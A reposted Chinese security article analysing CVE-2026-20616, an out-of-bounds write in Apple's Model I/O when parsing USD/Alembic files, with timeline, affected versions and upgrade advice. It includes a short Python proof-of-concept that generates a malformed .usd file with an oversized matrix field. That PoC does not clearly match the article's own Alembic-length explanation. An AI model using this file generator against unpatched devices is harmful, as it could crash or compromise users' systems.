AppleModelI/O再爆USD越界写入漏洞

admin 2026-07-12 05:48:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Apple修复了ModelI/O框架中处理Alembic文件时的越界写入漏洞(CVE-2026-20616),攻击者可通过构造恶意USD文件触发,甚至无需用户主动打开(QuickLook、Spotlight等后台解析)。漏洞由ZDI研究员报告,2025年11月报给Apple,2026年2月修复。受影响版本包括iOS/iPadOS18.7.5之前、macOSSonoma14.8.4之前等。建议升级到最新版。 综合评分: 88 文章分类: 漏洞分析,应急响应,移动安全,网络安全,应用安全


cover_image

Apple Model I/O再爆USD越界写入漏洞

原创

Only Only

船山信安

2026年7月10日 18:10 广东

在小说阅读器读本章

去阅读

漏洞背景

Apple又修了一个USD文件的越界写入漏洞,它的来源是Pixar搞出来的场景描述语言,3D图形和AR内容交换的工业标准。

Apple在iOS、macOS、visionOS全线产品里都内置了Model I/O框架来解析它,组件libusd_ms是这次触发漏洞的源头。

越界写入的触发点

从ZDI的公告和Apple安全更新日志交叉来看,漏洞落在Model I/O框架处理Alembic文件的路径上。Alembic是USD生态里的一个开放交换格式,专门用来存储和传输复杂的3D场景数据,几何体、摄像机、材质、动画曲线全在里面。它的二进制存储有两种后端,Ogawa和HDF5,文件内部以层级化的OObject树组织,每个OObject带有若干Property,Property的值可以是标量也可以是变长数组。

问题就出在解析这些Property值的时候。libusd_ms在从Alembic二进制流里读出Property的数据长度字段后,没有对这个长度做充分校验,直接用它来分配缓冲区或做memcpy。攻击者在文件里写入一个远超实际分配大小的长度值,解析器直接写入溢出预定缓冲区。

不止于双击打开

USD文件在macOS上不只是双击打开才会被解析,Quick Look预览、Spotlight索引、Finder缩略图生成,都会经过Model I/O框架。也就是说,一个恶意的.usd或.abc文件只要出现在磁盘上,用户甚至不用主动打开它,系统后台就可能已经触发了解析路径。

畸形USD文件构造

真实POC来自ipbuf.com的安全研究页面,核心思路是用Python生成一个畸形USD文件,在矩阵字段注入超大字符串。

#!/usr/bin/env python3
def generate_malicious_usd_file(filename):
    header = b'#usda 1.0\n\n'
    malicious_data = (
        b'def "TestStage" {\n'
        b'  token test_attr = "test_value"\n'
        b'  def "Nested" {\n'
        b'    matrix4d test_matrix = \n'
        b'    (' + b'A' * 10000 + b')\n'
        b'  }\n'
        b'}\n'
    )
    with open(filename, 'wb') as f:
        f.write(header + malicious_data)
    print(f"[+] Malicious USD file generated: {filename}")

if __name__ == "__main__":
    generate_malicious_usd_file("CVE-2026-20616_malicious.usd")

矩阵字段溢出

usda是USD的文本表示格式,第一行#usda 1.0声明版本号。然后定义了一个TestStage根prim,嵌套了一个子prim Nested,里面声明了一个matrix4d类型的属性test_matrix。正常matrix4d应该是一对括号里16个浮点数的排列,这里直接灌了10000个A字符进去。解析器在读到这个字段时,试图把这一万个字节解析进预留给矩阵的内存区域,越界就发生了。

修复时间线与补丁

ZDI研究员Michael DePlante早在2025年11月19日就报给了Apple,拖到2026年2月11日才在macOS Sonoma 14.8.4和Tahoe 26.3里修掉,整了将近三个月。Apple的修复手段很常规,改进了边界检查逻辑,确保写操作不会超出分配缓冲区的范围。

受影响版本

受影响的产品线包括iOS和iPadOS 18.7.5之前、macOS Sonoma 14.8.4之前、macOS Tahoe 26.3之前、visionOS 26.3之前的所有版本。升级到最新版即可修复。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 Only Only《Apple Model I/O再爆USD越界写入漏洞》

评论:0   参与:  0